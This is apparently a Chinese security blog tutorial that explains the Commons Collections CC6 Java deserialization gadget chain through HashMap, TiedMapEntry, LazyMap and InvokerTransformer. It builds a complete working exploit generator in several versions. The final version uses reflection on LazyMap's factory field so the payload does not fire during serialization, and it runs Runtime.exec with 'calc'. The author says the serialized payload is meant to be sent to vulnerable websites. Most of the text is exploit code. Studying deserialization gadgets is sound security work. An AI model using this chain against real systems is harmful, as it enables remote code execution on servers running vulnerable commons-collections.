在这篇文章中,你能更加深刻理解CC利用链,并且能学到更深的EXP编写思路
阅读本篇文章需要先弄明白我前三篇文章,阅读顺序如下:
当然如果有CC链基础的师傅可以放心使用
漏洞影响版本
JDK版本不限制
commons-collections <= 3.2.1
利用链梳理
反序列化 --> HashMap.readObject() --> TiedMapEntry.hashCode() --> LazyMap.get() --> ChainedTransformer.transform() --> InvokerTransformer.transform()
这条CC6利用链和前面两篇文章中CC1的两条链的不同之处在于利用了HashMap的反序列化形成利用链,由于HashMap在非常多的场景下使用,所以开发者一般都不会轻易修改HashMap,因此这个CC6链不受JDK版本限制。仅仅受commons-collections版本的限制。
还有一点就是CC6链利用的一个方法是hashCode(),正好commons-collections中的TiedMapEntry类也有hashCode(),所以在这个地方和本专栏的第一篇文章URLDNS利用链EXP编写之源码分析有异曲同工之妙。
利用链寻找思路分析
在CC6利用链中,我们的寻找思路就不是一级一级往上面找了,因为我们经过前面利用链的研究,已经确定了后面半条链 LazyMap.get() --> ChainedTransformer.transform() --> InvokerTransformer.transform()
,所以我们的查找思路就可以从利用链的前面开始了,由于前面的CC1链的两条链都是依赖于JDK中的AnnotationInvocationHandler
类的,这个类受JDK版本的影响,所以我们需要找其他类进行利用,很容易想到HashMap,他不仅仅可以序列化,还是非常非常常用的数据结构,这个在JDK版本中一般都不会轻易改变的,经过前面URLDNS利用链的研究,我们可以想到URLDNS利用链的思路,我们是否依旧可以利用HashMap反序列化的时候默认调用hashCode()方法的特性,然后我们只需要再找一个具有hashCode()方法的类,果不其然,师傅们找到了commons-collections中的一个TiedMapEntry类
,这个类里面正好具有hashCode()方法,而且这个类还实现了Serializable接口,是可以序列化的,如图:
其中调用了getValue()方法,然后再看到getValue()方法:
可以看到这个方法里面正好调用了get()方法,而且key和map都是可控的,这里正好连接上了后面半条链中的LazyMap的get()方法。
源码分析
根据以上利用链寻找思路分析,我们发现只需要构造一个TiedMapEntry对象,将其传给HashMap在进行反序列化的时候自动调用hashCode()方法就可以完成后半条链的利用,那么我们该如何构造TiedMapEntry呢?将LazyMap对象传入TiedMapEntry对象的构造方法即可。
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");
反序列化的时候,TiedMapEntry中的方法调用流程hashCode() --> getValue() --> map.get(),这样就能直接调用到lazyMap的get()方法,从而对接上CC6的后半条链
构造好这个TiedMapEntry对象之后,我们下一步就是构建HashMap对象了,将tiedMapEntry作为key存入HashMap中,从而大致形成前面半条链:HashMap.readObject() --> TiedMapEntry.hashCode():
Map map2 = new HashMap();
map2.put(tiedMapEntry,"yuan_boss");
初步完成EXP编写
下一步就是将map2对象进行序列化生成payload,于是和后半条链的代码写一起,就初步完成了EXP的编写:
/**
* @program: Java-反序列化
* @description:
* @author: yuan_boss
* @create: 2023-08-16 10:56
**/
public class CC6Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class},new Object[]{
null,null}),
new InvokerTransformer("exec",new Class[]{
String.class},new Object[]{
"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
//将chainedTransformer对象封装进LazyMap中
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");
Map map2 = new HashMap();
map2.put(tiedMapEntry,"yuan_boss");
//序列化payload
ByteArrayOutputStream barr = serialize(map2);
serialize(map2);
}
public static ByteArrayOutputStream serialize(Object o) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
System.out.println(barr);
return barr;
}
}
EXP问题分析
在初步完成EXP之后,进行执行,发现有个问题,竟然直接调出了计算器,可是我仅仅进行了序列化,并没有调用反序列化的方法啊,为什么会出现这种情况呢?下面我们来分析一下:
在这个EXP中,我们是利用HashMap的hashCode()调用来触发链式调用的,我们在执行这段代码map2.put(tiedMapEntry,"yuan_boss");
的时候,实际上就会调用到hashCode()方法形成利用链,然后触发计算器,可能有小伙伴会觉得,触发了计算器不是说明目的达到了吗?
如果这样想,小伙伴的侧重点可能就偏了,我们的目的并不是触发计算器就行了,而是在反序列化的时候能触发计算器才是最终目的。因为我们最终是要把序列化好的payload交给具有漏洞的网站进行测试,让网站给我们反序列化的时候触发我们的恶意代码,而不是在我们序列化生成payload的时候执行恶意代码。
因此我们需要加上一个反序列化的方法,并且对我们序列化后的payload进行测试,然后打断点到反序列化,看看反序列化是否能再次触发计算器:
/**
* @program: Java-反序列化
* @description:
* @author: yuan_boss
* @create: 2023-08-16 10:56
**/
public class CC6Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class},new Object[]{
null,null}),
new InvokerTransformer("exec",new Class[]{
String.class},new Object[]{
"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
//将chainedTransformer对象封装进LazyMap中
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");
Map map2 = new HashMap();
map2.put(tiedMapEntry,"yuan_boss");
//序列化payload
ByteArrayOutputStream barr = serialize(map2);
serialize(map2);
unSerialize(barr);
}
public static ByteArrayOutputStream serialize(Object o) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
System.out.println(barr);
return barr;
}
public static void unSerialize(ByteArrayOutputStream barr) throws Exception{
ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = oos.readObject();
System.out.println(o);
}
}
但是断点到unSerialize(barr);
这行之后,发现无法触发计算器,因此可以推断出反序列化的时候没有进入利用链,下面就开始进行源代码分析,在反序列化的时候调用了TiedMapEntry对象的hashCode()方法,然后会调用TiedMapEntry的getValue()方法,如图:
然后就会调用LazyMap的get()方法,接着我们来看到LazyMap的get()方法:
可以看到,要想调用到transform()方法也是需要条件的,如果get()方法传入的key参数在map中存在,就不会调用transform()方法,如果map中不存在这个key,就会进入if语句,然后调用transform()方法执行利用链。但是在LazyMap类的get()方法中,我们可以看到
map.put(key,value)
,意思就是会往map中put我们传入的key和value,后面如果再调用map的get方法,就会发现map中已经有key了,所以不会调用到transform方法,因此我们在对map进行put之后,需要将LazyMap的key移除,这样就能避免在反序列化的时候由于key存在而无法调用到transform()方法,所以就需要移除key:
lazyMap.remove("yuan666");
经过以上分析之后,我们就可以完善EXP了。
初步完善EXP
/**
* @program: Java-反序列化
* @description:
* @author: yuan_boss
* @create: 2023-08-15 19:53
**/
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class},new Object[]{
null,null}),
new InvokerTransformer("exec",new Class[]{
String.class},new Object[]{
"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
//为了避免在put的时候就执行恶意代码,于是将LazyMap的第二个参数设置为没用的对象
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");
Map map2 = new HashMap();
map2.put(tiedMapEntry,"yuan_boss");
//移除lazyMap中的key,否则反序列化的时候由于具有key,就不会调用transform()方法了
lazyMap.remove("yuan666");
//重新给给LazyMap的第二个参数设置为 chainedTransformer
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);
ByteArrayOutputStream barr = serialize(map2);
UnSerialize(barr);
}
public static ByteArrayOutputStream serialize(Object o) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
System.out.println(barr);
return barr;
}
public static void UnSerialize(ByteArrayOutputStream barr) throws Exception{
ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = oos.readObject();
System.out.println(o);
}
}
最终EXP
由于上面的EXP其实还有个细微的可以优化的地方,就是我们在put的时候,会触发利用链执行恶意代码,这是没有意义的,而且如果这个恶意代码如果很危险,是不是就影响我们自身的客户端了,因此为了避免伤害自身,就需要先把恶意的lazyMap对象的第二个参数变为没有恶意代码的,然后在序列化之前通过反射设置lazyMap对象的第二个参数为恶意的transformer即可。
所以在构造lazyMap的方式进行如下改变,将LazyMap的一个Transformer对象变为一个非恶意的对象:
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
然后在序列化之前通过反射设置lazyMap:
//重新给给LazyMap的第二个参数设置为 chainedTransformer
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);
然后最终可以完善EXP:
最终EXP
/**
* @program: Java-反序列化
* @description:
* @author: yuan_boss
* @create: 2023-08-16 10:56
**/
public class CC6Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class},new Object[]{
null,null}),
new InvokerTransformer("exec",new Class[]{
String.class},new Object[]{
"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
//将非恶意的ConstantTransformer对象封装进LazyMap中,防止在本机执行恶意代码
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "yuan666");
Map map2 = new HashMap();
map2.put(tiedMapEntry,"yuan_boss");
lazyMap.remove("yuan666");
//重新给给LazyMap的第二个参数设置为 chainedTransformer
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap,chainedTransformer);
//序列化payload
ByteArrayOutputStream barr = serialize(map2);
unSerialize(barr);
}
public static ByteArrayOutputStream serialize(Object o) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
System.out.println(barr);
return barr;
}
public static void unSerialize(ByteArrayOutputStream barr) throws Exception{
ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = oos.readObject();
System.out.println(o);
}
}